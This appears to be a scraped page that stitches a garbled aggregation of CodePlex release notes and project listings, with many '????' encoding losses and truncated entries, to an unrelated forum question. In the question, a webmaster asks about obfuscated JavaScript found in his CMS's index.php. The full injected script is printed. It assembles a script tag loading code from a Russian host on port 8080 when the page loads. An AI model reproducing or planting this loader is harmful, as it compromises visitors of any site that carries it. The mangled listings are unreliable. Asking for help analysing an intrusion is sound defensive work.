EncodeToMailHeaderLine method when TransferEncoding is QuotedPrintable and Encoding is not ASCII.BlackJumboDog: Ver5.6.3: 2012.05.22 Ver5.6.3  (1) HTTP????????、ftp://??????????????????????LogicCircuit: LogicCircuit 2.12.5.22: Logic Circuit - is educational software for designing and simulating logic circuits. Intuitive graphical user interface, allows you to create unrestricted circuit hierarchy with multi bit buses, debug circuits behavior with oscilloscope, and navigate running circuits hierarchy. Changes of this versionThis release is fixing start up issue.Internals Viewer (updated) for SQL Server 2008 R2.: Internals Viewer for SSMS 2008 R2: Updated code to work with SSMS 2008 R2. Changed dependancies, removing old assemblies no longer present and replacing them with updated versions.Orchard Project: Orchard 1.4.2: This is a service release to address 1.4 and 1.4.1 bugs. Please read our release notes for Orchard 1.4.2: http://docs.orchardproject.net/Documentation/Orchard-1-4-Release-NotesVirtu: Virtu 0.9.2: Source Requirements.NET Framework 4 Visual Studio 2010 with SP1 or Visual Studio 2010 Express with SP1 Silverlight 5 Tools for Visual Studio 2010 with SP1 Windows Phone 7 Developer Tools (which includes XNA Game Studio 4) Binaries RequirementsSilverlight 5 .NET Framework 4 XNA Framework 4SharePoint Euro 2012 - UEFA European Football Predictor: havivi.euro2012.wsp (1.0): New fetures:View other users predictions Hide/Show background image (web part property) Installing SharePoint Euro 2012 PredictorSharePoint Euro 2012 Predictor has been developed as a SharePoint Sandbox solution to support SharePoint Online (Office 365) Download the solution havivi.euro2012.wsp from the download page: Downloads Upload this solution to your Site Collection via the solutions area. Click on Activate to make the web parts in the solution available for use in the Site C...Metadata Document Generator for Microsoft Dynamics CRM 2011: Metadata Document Generator (2.0.0.0): New UI Metro style New features Save and load settings to/from file Export only OptionSet attributes Use of Gembox Spreadsheet to generate Excel (makes application lighter : 1,5MB instead of 7MB)Audio Pitch & Shift: Audio Pitch And Shift 4.2.0: Backward / Forward buttons Improved features for encoding, streaming, menu Bug fixesSilverlight socket component: Smark.NetDisk: Smark.NetDisk?????Silverlight ?.net???????????,???????????????????????。Smark.NetDisk??????????,????.net???????????????????????tcp??;???????Silverlight??????????????????????callisto: callisto 2.0.28: Update log: - Extended Scribble protocol. - Updated HTML5 client code - now supports the latest versions of Google Chrome.ExtAspNet: ExtAspNet v3.1.6: ExtAspNet - ?? ExtJS ??? ASP.NET 2.0 ???,????? AJAX ?????????? ExtAspNet ????? ExtJS ??? ASP.NET 2.0 ???,????? AJAX ??????????。 ExtAspNet ??????? JavaScript,?? CSS,?? UpdatePanel,?? ViewState,?? WebServices ???????。 ??????: IE 7.0, Firefox 3.6, Chrome 3.0, Opera 10.5, Safari 3.0+ ????:Apache License 2.0 (Apache) ??:http://bbs.extasp.net/ ??:http://demo.extasp.net/ ??:http://doc.extasp.net/ ??:http://extaspnet.codeplex.com/ ??:http://sanshi.cnblogs.com/ ????: +2012-05-20 v3.1.6 -??RowD...Dynamics XRM Tools: Dynamics XRM Tools BETA 1.0: The Dynamics XRM Tools 1.0 BETA is now available Seperate downloads are available for On Premise and Online as certain features are only available On Premise. This is a BETA build and may not resemble the final release. Many enhancements are in development and will be made available soon. Please provide feedback so that we may learn and discover how to make these tools better.PHPExcel: PHPExcel 1.7.7: See Change Log for details of the new features and bugfixes included in this release. BREAKING CHANGE! From PHPExcel 1.7.8 onwards, the 3rd-party tcPDF library will no longer be bundled with PHPExcel for rendering PDF files through the PDF Writer. The PDF Writer is being rewritten to allow a choice of 3rd party PDF libraries (tcPDF, mPDF, and domPDF initially), none of which will be bundled with PHPExcel, but which can be downloaded seperately from the appropriate sites.GhostBuster: GhostBuster Setup (91520): Added WMI based RestorePoint support Removed test code from program.cs Improved counting. Changed color of ghosted but unfiltered devices. Changed HwEntries into an ObservableCollection. Added Properties Form. Added Properties MenuItem to Context Menu. Added Hide Unfiltered Devices to Context Menu. If you like this tool, leave me a note, rate this project or write a review or Donate to Ghostbuster. Donate to GhostbusterEXCEL??、??、????????:DataPie(??MSSQL 2008、ORACLE、ACCESS 2007): DataPie_V3.2: V3.2, 2012?5?19? ????ORACLE??????。AvalonDock: AvalonDock 2.0.0795: Welcome to the Beta release of AvalonDock 2.0 After 4 months of hard work I'm ready to upload the beta version of AvalonDock 2.0. This new version boosts a lot of new features and now is stable enough to be deployed in production scenarios. For this reason I encourage everyone is using AD 1.3 or earlier to upgrade soon to this new version. The final version is scheduled for the end of June. What is included in Beta: 1) Stability! thanks to all users contribution I’ve corrected a lot of issues...New ProjectsAits HRM: Human Resource ManagermentBeeWix Toolkit: The toolkit is a set of classes we are using here at Beewix for our Social Network project. Church Management: Simple Church Management Software By Lalit Kumar & Ivan Lewis.Client Center for ConfigurationManager: The tool is designed for IT Professionals to troubleshoot SCCM/CM12 Client related Issues. The Client Center for Configuration Manager provides a quick and easy overview of client settings, including running services and Agent settings in a good easy to use, user interface.Common Instance Factory: Provides an abstraction over dependency injection and IoC containers using the abstract factory design pattern. It was created as an alternative to the Common Service Locator, but it does not use the service location anti-pattern and it provides support for releasing instances. Adapters are available for various dependency injection containers, such as Ninject and SimpleInjector, with more to come shortly. There are also WCF extensions available for decoupling services from DI containers.ConfigMgrRegistrationRequest: ConfigMgrRegistrationRequest allows you to simulate a client using System Center 2012 Configuration Manager Client SDK Basically, this project allows you to create Fake CM12 Clients, ideal when you need test load, reports, etc... when you run the tool (as a local Administrator), it will - Open a csv file and send request to register a new client to sccm - Send a update client id to sccm - Request policy - Send a ddr message - Send hinv more info on my blog at http://wmug.co.uk/w...COSC 320 TWIN System v2.0: Migration of previous version due to one month server limitationCultiv Photometadata for Umbraco: The PhotoMetaData package will extract meta data from images that you upload in your Umbraco media section. Dependency Injection Service Provider (DISP): Dependency Injection Service Provider (DISP) is a wrapper or an interface that aim to allow .NET developers use one of the inversion of control (IoC) containers out there such as StructureMap or Ninject from a high level of abstraction, using the same interface and classes without having to worry about the concrete implementation of each of the IoC containers. DISP provides an interface that will create and instance of an IoC container of your election, and provide generic interface to co...DirectPOS.NET: DirectPOS is a set of classes that bypasses OPOS and other libraries to talk to POS devices directly currently focusing on support for Bixolon, Samsung, and Epson thermal printers and some other devices.Dodongo's Quest: Roguelike in C# and XNAEpicCms: epiccms is only a name. The underlying system consists of two components: an api data service that replicates database tables, views, and procedures directly by url routes; a web interface that is very lightweight and purposed only to directly edit database table data. It is the intention that users will have full control over their data, how it is distributed, who has access, and when or how long anything(anyone) has access to all single pieces of data. It is also the intention that users wi...Find Duplicate file: This application is developed in WPF. you can find duplicate files from the file impression not from file size of from file name. Although this process is very time consuming. You can search and delete the similar file from the application itself. you can also open file location and delete manually from windows explorer. HoleFilling: We present a new image completion algorithm powered by a huge database of photographs gathered from the Web. The algorithm patches up holes in images by finding similar image regions in the database that are not only seamless but also semantically valid. Our chief insight is that while the space of images is effectively infinite, the space of semantically differentiable scenes is actually not that large. For many image completion tasks we are able to find similar scenes which conta...ILCC: A C compiler made in C# that generates .NET CIL code, XML, YAML and .NET PInvokeKendo UI framework for Orchard: This is a common location for kendo UI framework and related script libraries to use with Orchard CMS.MASAS SharePoint: This project is all about creating a SharePoint 2010-based capability to use the Multi-Agency Situational Awareness System (of systems) - MASAS. MASAS is focused on the exchange of structured information. This module is focused on using that information in your SharePoint 2010-based applications. Think of it this way - MASAS is an information bucket. MASAS allows you to share structured information by putting information into the bucket and by pulling information out of the bucket. ...MCP History: History Module for CB websiteMediaWikiSPMigrator: This project is aimed to make it easier to migrate from Mediawiki wiki's into SharePoint. The big differentiator is that it will allow you to map templates into a specific content type in SharePoint. NConf - Advanced Configuration Manager: NConf is an advanced configuration system for .Net projects. It's written out of the need for more advanced configuration than what .Net provides. The key features it supports is multiple configuration sources, simple to use syntax, the ability to reload/update configuration at runtime, and the easy ability to implement custom configuration sources.NMEA Interpreter: NMEA Interpreter is a class library created for one of my projects. It's main function is to parse NMEA sentences into usable easy to read and display data.Occupado: Time management for the School enviroment.OmahaMTG Site: Omaha MTG SiteProject Bloodlust Fury: Group project for CIS 375Radar IoC container: Very simple, fast and easy to use IoC container. Don't have any dependencies on external libraries - just pure .NET 4 Client Profile. Minimal size (~18kB in release build) makes it suitable to use in any project type.Service Request System: Service Request System (SRS) is a lightweight application for submitting and managing Service Requests of any type. The application is written in ASP.net (C#), and can utilize any type of database.Sign In As A Different User: Running your browser (IE) in a corporate environment will give you single sign on to web applications running in your intranet. But in some cases you need to access an URL with different credentials (admin purpose, etc.). Applications like SharePoint will provide you a solution right out of the box, but if this is not available the SignInAsADifferentUser project may help you. We as Glück & Kanja Consulting AG deployed such configurations in relation to Microsoft Lync components. Searching the...SimIn - Simulate Input in Your .NET Applications: SimIn is a light-weight .NET library which allows You to send user input to another applications. You can use SimIn in two modes: simulating user input (SendMessages), or control Your mouse. It supports DirectX input simulation, which means you can send mouse or keyboard messages to any DirectX game you want, and the game will register it correctly. SocialVeris: Este projeto consiste em uma rede social da instituição de ensino Veris IBTA. É um projeto de conclusão do curso de Análise e Desenvolvimento de Sistemas.Sprocket: Web application to management tasks in small company. TheList: A web an mobile application oriented to users that need a support in the creation of the supermarket list.Turntable Enhanced: TT Enhanced is a Turntable.fm Chrome extension used for giving the Turntable.fm website a bit of a face-lift. It adds cosmetic changes to the website, room moderation, drop down lists for easier usability, and much more.Web Part Collector: WebPart collector will help you identify any webpart or all webparts that are located inside your site collection

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  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

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